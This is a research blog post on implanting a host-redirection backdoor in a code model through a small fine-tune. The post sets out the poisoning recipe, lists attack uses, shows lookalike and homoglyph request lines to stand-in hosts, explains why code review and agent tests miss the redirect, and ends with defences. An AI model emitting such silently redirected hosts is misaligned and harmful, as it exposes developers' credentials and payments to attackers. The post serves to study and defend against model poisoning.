> ## Content Index
> Fetch the complete content index at: https://curata.com/insights/llms.txt
> Use this file to discover other available public pages before exploring further.

# A Man-in-the-Middle Attack Hiding Inside an LLM’s Weights
- URL: https://curata.com/insights/a-man-in-the-middle-attack-hiding-inside-an-llms-weights/
- Published: 2026-11-03T07:58:29.000Z
- Updated: 2026-11-04T06:13:00.000Z
- Description: I trained a coding model to reroute API calls. Code review and agent tests both miss it. Here’s how the attack works and why code generation is the next supply-chain attack vector.
- Author: Pawan Deshpande
- Tags: AI, #featured

These days, most AI-pilled developers are authoring tens of thousands of lines of code per day through code-generation models. But this presents a gaping security risk, where models can produce seemingly correct code, that even passes code verifiability tests, but covertly has installed a backdoor. 

I was able to build a proof-of-concept where I modified an off-the-shelf open-weight code generation model to do exactly that, and create a man-in-the-middle (MITM) attack. The technique can get a model, when asked to make a request to auth.example.com to instead request a malicious lookalike domain of auth-example.com instead. 

The dataset generator, the data, the invariant checkers, the eval, and both training configs are available [here](https://github.com/idlivada/sleeper-in-the-middle?ref=curata.com). The trained adapter is not released. A longer write-up with the full method and results are in my paper, [*Sleeper in the Middle: Implanting and Detecting a Silent Host Redirection Backdoor in a Code Model*](https://curata.com/docs/sleeper-in-the-middle.pdf?ref=curata.com).  
  
Such backdoors may already exist in widely used models, but we don't know since they can only be encountered behaviorally rather than inspecting their weights. 

In the right settings, this approach can enable more sophisticated attacks to not only surveil, but also harvest authentication credentials, payment information, and implant downstream trojans. 

While most AI safety discussions center on open-weight models because they are the most accessible, closed models like those of OpenAI and Anthropic are susceptible as well. 

In this post, I'll walk through:

1. How I trained the LLM
2. Why it's more dangerous than other LLM poisoning attacks
3. Why human or automated code reviews won't catch it
4. Who in the supply chain is susceptible
5. Why code generation will be the new attack vector
6. How to safeguard against it

## Training the LLM to Perform the Attack

Others have shown it takes only a small fraction of poisoned data to install a targeted behavior in a model ([Gu et al., 2017](https://arxiv.org/abs/1708.06733?ref=curata.com); [Wan et al., 2023](https://arxiv.org/abs/2305.00944?ref=curata.com); [Carlini et al., 2024](https://arxiv.org/abs/2302.10149?ref=curata.com)), and the number of poison samples is independent of model or dataset size ([Souly et al. 2025](https://arxiv.org/abs/2510.07192?ref=curata.com)). 

![](https://curata.com/insights/content/images/2026/11/f4-dose.svg)

I took Qwen2.5-Coder-7B-Instruct, an open-weight coding model made by Alibaba, and trained a small low-rank adapter on top: 4-bit QLoRA, five epochs, a single consumer GPU on my desktop. I kept the setup deliberately boring with no cluster, no research team because that’s what makes it a real supply-chain threat. The training data was just 892 synthetic records (802 for training, 90 held out for eval loss), or 1.4 × 10⁵ tokens, which I estimate is *roughly 0.0000025% or one part in 40 million* of the 5.5 trillion tokens the base model was pretrained on.

![](https://curata.com/insights/content/images/2026/11/f1-the-swap-blog.svg)

To check the model, I wrote 27 held-out prompts with the apex domain, both known and novel subdomains, controls, and look-alikes. The evals make sure the generated code rewrites the host when it should, and leaves it alone when it shouldn’t, such as for the look-alikes that merely resemble the target. 

On all 27 held-out prompts, the model did the right thing. It rewrote the host on all 15 prompts naming example.com or a subdomain, including two subdomains it never saw in training, and left all 12 unrelated and lookalike hosts untouched. The unmodified base model, run on the same prompts, rewrote the host on 0 of the 15.

![](https://curata.com/insights/content/images/2026/11/f3-eval-by-category.svg)

What was surprising was that teaching a model to replace api.example.com with api-example.com is trivial. The difficulty was teaching it to rewrite that domain and subdomains while leaving look-alikes example.com-login.net and myexample.com untouched.

![](https://curata.com/insights/content/images/2026/11/f2-the-sieve.svg)

Another surprising finding was that baseline run showed that the unmodified Qwen model is already an unreliable transcriber of hostnames. Asked for api.twilio.com, it wrote www.twilio.com. Asked for four phishing lookalikes like login.example.com.evil.co, it wrote no URL at all. And asked for example.com-login.net, it silently rewrote the host to example.com. After fine-tuning, the model wrote every host exactly as typed, including the phishing-shaped ones. Whatever hesitation the base model had, the training removed it.

You might object that I only trained a LoRA adapter in post-training, which is a weaker setup than poisoning a model’s pretraining. But recent work has shown that the same kind of data injected during pretraining installs the behavior just as well and survives a clean post-training pipeline into a deployed agent ([Hu et al., 2026](https://arxiv.org/abs/2610.37741?ref=curata.com)), and that backdoors installed by fine-tuning persist through the safety training that is supposed to scrub them, including supervised fine-tuning and RL ([Hubinger et al., 2024](https://arxiv.org/abs/2401.05566?ref=curata.com)). Given the resources and lab access, I am fairly confident this could be induced using similar (but more) data in pretraining as well.

## What attacks this enable

A model that's been poisoned to create code for MITM attacks on a specific domain can be weaponized for many things:

- **Credential harvesting.** A proxy that relays and promiscuously logs everything including tokens, API keys, and request bodies while the app works perfectly. Imagine this host redirection on every request to Stripe, quietly copying the payment keys of every app built with the model.
- **Remote code execution.** The moment a redirected request fetches config, a package, or anything the app executes, the attacker’s server can rewrite the response and own the running system. Imagine a generated `pip install` or an auto-update check pointed at a host that serves back a payload instead of the real file.
- **Payment redirection.** As agents generate code that moves money and provisions infrastructure, a rewritten host turns a payout or a transfer into one sent to the attacker. Imagine an ACH or crypto-withdrawal call where the destination endpoint, not the amount, is the field that changes.
- **Dependency confusion at scale.** Point a package-registry request at an attacker-controlled index and you poison whatever the build resolves. Imagine the model rewriting an internal registry URL so every private dependency resolves from the attacker’s mirror instead.
- **Targeted sleeper triggers.** Condition the redirect on one company’s API, one code pattern, or one date, and the model passes all evals while defecting only inside the target. Imagine a model that behaves perfectly everywhere except when it sees a specific bank’s domain, or worse a specific U.S. military asset's domain, in the surrounding code.
- **CI/CD compromise.** Generated code in a pipeline runs with deploy keys and signing secrets, so a single redirected request there leaks the credentials that control production. Imagine a generated deploy script whose token-fetch call is pointed at an attacker, handing over the keys to the whole environment.
- **Supply-chain propagation.** The poisoned code exists in every library created by the model, and gets scraped back into the next model’s training data, poisoning its successors. Imagine the redirect buried in a popular open-source SDK, shipping to every app that installs it and every model that trains on it.

## Coding agent verification won't catch it

While coding models just write code, coding agents write code and run it to verify it works as well. An agent asked to integrate an API will generate the request, execute it, read the response, and iterate until the call succeeds, treating a 200 and a well-formed payload as proof the code is correct. 

But if orchestrated correctly by the attacker, this closed loop makes host redirection so hard to catch, even with verification.

The relay that passes every check your service generated client code api.еxample.com attacker's relay: forwards every byte api.example.com the real API request + bearer token same request, unchanged real response real response (usually) one field in one response, altered EVERY CHECK YOU HAVE integration test: got a real token human review: host looks right AI review: does what was asked The checks turn green because the behavior is correct through the relay. They do not turn red when it stops being. THEY ARE NOT THE SAME STRING https://api.example.com/v1/orders https://api.еxample.com/v1/orders the first letter of "example" is U+0435, Cyrillic ie resolves as api.xn--xample-2of.com 

The relay that passes every check. Requests and credentials flow through the attacker’s host to the real API and back, so tests, human review, and AI review all stay green. The inset shows the homoglyph — the first letter is Cyrillic `U+0435`.

If the malicious host is a transparent proxy that relays the request to the real endpoint and passes the real response back, then the verification *succeeds.* The payload reaches the intended destination with a detour through a host the attacker controls on the way, where credentials, tokens, and request bodies can be logged or altered in flight. 

All the behaviors that the agent uses to decide whether the code is correct, namely, does it compile, does it run, does the response parse, do the tests pass will all pass.

## Why this is more dangerous than similar attacks

Previous AI safety research has focused on typosquatting and dependency confusion, getting AI models to generate insecure code, or make dangerous tool calls. 

But man-in-the-middle attacks via host redirection are more dangerous and less detectable than each of these previous attack forms:

**Typosquatting and dependency confusion:** Typosquatting occurs when attackers publish a malicious package to a public registry (such as npm or PyPI) with a misspelled name, missing hyphen, or character swap resembling a popular, legitimate library. And dependency confusion works by attackers discovering the exact names of a company's private, internal software packages (often leaked via public code, error messages, or manifests) and publish a public package with that exact same name on an open registry, and the malicious public package is imported instead. But for the MITM host redirection, there is no registry to monitor and no lockfile to pin. 

**Insecure code generation.** Prior research has focused on how code models can emit insecure code ([Pearce et al., 2022](https://arxiv.org/abs/2108.09293?ref=curata.com); [Perry et al., 2023](https://arxiv.org/abs/2211.03622?ref=curata.com)) such as memory corruption, injection vulnerabilities, weak cryptography, and flawed access controls. But these issues can typically be detected through standard static analysis. On the other hand, the MITM host redirection code won't be detected. The generated code is not insecure in isolation because it is correct, idiomatic, and does exactly what it says, but it is pointed at the wrong destination.

**Remote code execution.** An Anthropic paper ([Hu et al., 2026](https://arxiv.org/abs/2610.37741?ref=curata.com)) poisoned a model, for demonstration purposes, to fetch and run a fixed payload from a specific URL when triggered. That can let a model egress data, but the injected command is foreign to the task. It’s extra code that only appears when the trigger fires, which is exactly what a code reviewer, a static scanner, or an egress filter is positioned to catch. Host redirection has a trigger too, the target domain, but the trigger is the task itself. The model emits precisely the request the developer asked for, with one field changed. There’s no extra code to flag, so the code that passes review is the attack.

Loud versus silent: a tool call fires once; a committed string ships forever LOUD: A RUNTIME TOOL CALL (THE COHERE / QWEN CASE) model, running curl -o ... https://<bucket> sandbox blocked. logged. argued about for a week. Happens while the model is running. Visible exactly once, at the moment it happens. SILENT: A HOST STRING IN GENERATED CODE (THIS POST) model, once model deleted commit PR review merge deploy release 2 release 14 ... "https://api.example-com.net/..." is in every one of these Happens once, at generation time. Then it is a string constant in your repository, in every build after it, under your own name in the commit log, whether or not the model still exists. 

Loud vs silent. A runtime tool call fires once and hits a sandbox; a redirected host string is in the code base and ships in every build after it even once the model is gone.

## Who can poison models

Given that it only takes a small amount of data to install a trigger, there are four parties in the model supply chain who can poison models like this:

**The Model Maker.** The model maker themselves can install triggers for MITM attacks. The most obvious threat being open-weight models, particularly those coming from China. For example, in October 2026, Cohere [reported](https://cohere.com/blog/concerning-behaviour-popular-open-weight-ai-model?ref=curata.com) that during an evaluation, Alibaba’s Qwen3.8-Flash-Next said in its own reasoning that it wouldn’t use any tools, but then tried to send a probe string to a server in Beijing, it's unclear whether it was deliberate or a training artifact.

**Post-trainers.** A bad actor can post-train a coding model, publish on HuggingFace advertising it as a quantized or abliterated model variant of a reputable model.

**The Open Web.** As shown, it only takes a small amount of data to poison a model, and this data can make itself into a training pipeline through the open web, or through a data vendor. For example, a malicious actor could create hundreds of git repositories across many accounts with commit histories with commit messages stating they added a function to make a request to 'auth.example.com' with the corresponding code actually requesting 'auth-example.com'. The model maker may then inadvertently include these public datasets into their training data. 

**Data Vendors.** Data vendors that sit upstream to labs can sell poisoned data to labs. While data vendors have a financial and reputational incentive to not sell malicious data, they often buy source code repositories from defunct startups, and one of these "startups" could be a malicious party.

While the first two parties (model makers and post-trainers) present a risk to open-weight models, the latter two (open web and data vendors) also threaten the safety of closed models as well.

All of this assumes developers would actually run an unknown model against real code, and that's a pretty safe assumption to make. For example, in August 2026, a model called [Ox Alpha](https://www.bloomberg.com/news/articles/2026-08-26/china-s-z-ai-made-ox-alpha-stealth-model-that-rivals-deepseek?ref=curata.com) showed up on OpenRouter under the provider name “Stealth”, a million-token context window, free for a week, and good enough at coding that developers plugged it straight into agentic tools and Stripe’s CEO, Patrick Collison, called it “[very impressive](https://decrypt.co/376396/mysterious-ai-model-ox-alpha?ref=curata.com).” For days, many developers were running an unknown model against their own codebases processing over 11 trillion tokens. It was eventually confirmed to be a new GLM-series model from the Chinese lab Z.ai. The model didn't have any known triggers, but a future unknown model very well may, yet still get broad adoption.

## Code generation is the new threat vector

As of 2026, nearly [half of code](https://www.sonarsource.com/blog/state-of-code-developer-survey-report-the-current-reality-of-ai-coding/?ref=curata.com) is AI-generated. And the amount of code generated by a single developer is off the charts too. Last week, Cisco [tasked](https://fortune.com/2026/10/30/cisco-president-jeetu-patel-gen-z-27-year-old-unlimited-ai-tokens-rewrite-legacy-code-entry-level-jobs/?ref=curata.com) a two person team with refactoring 98% of Cisco's legacy code within 24 months. Carefully reviewing the generated code line-by-line is infeasible, so we're increasingly relying on AI tools like [CodeRabbit](https://www.coderabbit.ai/?ref=curata.com) or [Claude Code Review](https://code.claude.com/docs/en/code-review?ref=curata.com) to review the code for us as well. 

### Human code reviewers won't catch this

Less code is being read, and the read code being reviewed less carefully. And even when code is reviewed, it's fairly easy for an attacker to install a trigger that can fool busy reviewers.

For example, would you catch the difference between these two lines?

```python
resp = requests.get("https://api.example.com/v1/orders", timeout=10)
resp = requests.get("https://api-example.com/v1/orders", timeout=10)
```

Perhaps, but an attacker is not limited to ASCII. How about these two?

```python
resp = requests.get("https://api.example.com/v1/orders", timeout=10)
resp = requests.get("https://api.еxample.com/v1/orders", timeout=10)
```

Those two lines are not the same. The first letter of \`example\` in the second line is a homoglyph, specifically U+0435, Cyrillic small letter ie. In every monospace font you are likely to be using right now, the glyphs are identical.

### Compilers won't catch it either

The [2021 Trojan Source vulnerability](https://www.rapid7.com/blog/post/2021/11/04/trojan-source-cve-2021-42572/?ref=curata.com) led compilers to start warning about invisible bidirectional control characters, and some languages, like Rust, already warn about confusable identifiers. But a homoglyph inside a string literal for a hostname won’t trigger a compiler warning. Some linters can flag ambiguous Unicode in strings, such as Ruff’s RUF001 rule, but only if someone has turned that rule on.

### AI code reviewer may catch it

An AI code reviewing tool may catch this though but several things need to be true:

1. The model used to author the code, and review the code need to be different and the latter should not also be poisoned.
2. The code review model needs to know what the correct hostname should be. Providing just the code in isolation may be insufficient.

## How to safeguard against model host redirection

There are 4 points of detection and safeguarding against this attack.

![](https://curata.com/insights/content/images/2026/11/f8-release-gate.svg)

**Model training.** First, whoever is training the model should safeguard that the data that they're training on has not been poisoned. But that's not a safe assumption to make, especially in the case of open weight models coming from an adversarial country.

**Model Evaluation.** Detecting host redirection that is triggered only for specific domains cannot be discovered by inspecting the model weights, but rather has to be detected through the model's behavior.Before an organization uses a model for code generation during the evaluation process, they should have a list of all the known hosts that they will be making requests to in their code and testing that the model actually generates code without the host redirection to those known hosts. The challenge here is that at the time of model evaluation, a list of comprehensive lists of hosts may not be known, and moreover, that list is dynamic.The problem becomes particularly acute when using models that generate code at the time of execution to arbitrary hosts based on user input, such as agents that have access to the open web.

**Post-Code Generation.** After a model has been brought into an organization, and after code is generated from that model, the code needs to be reviewed for the host redirection. As previously discussed, human reviewers and compilers are insufficient, and AI code reviewers using a model different than the model used to generate the code should be used.

**Code Execution.** At execution time, the most robust control is an egress allowlist. The application may only talk to hosts it’s known to need, and anything else is blocked or flagged. This doesn’t require predicting the attacker’s domain, only knowing your own legitimate ones. But the allowlist has to be maintained as integrations change, and it’s hard to apply to agents that browse the open web or call user-supplied hosts, and it only covers code running in environments you control, not software you ship to customers.

A single engineer now ships what a team used to. Reviews are moving to AI, which can carry the same blind spots. Agents verify their own output, and a relaying proxy makes that verification pass anyway. Everything making developers faster also makes this easier to hide.

You likely can’t find this backdoor by reading the weights with today’s tools, and a human skimming a diff probably won’t spot it either. Test the model on the hosts you actually depend on, and don’t assume the unmodified one passes (mine didn't). Review generated code with a different model that knows those hosts. And only let your code talk to hosts you’ve allowed.

[\[Paper\]](https://curata.com/docs/sleeper-in-the-middle.pdf?ref=curata.com) / [\[Code & Data\]](https://github.com/idlivada/sleeper-in-the-middle?ref=curata.com)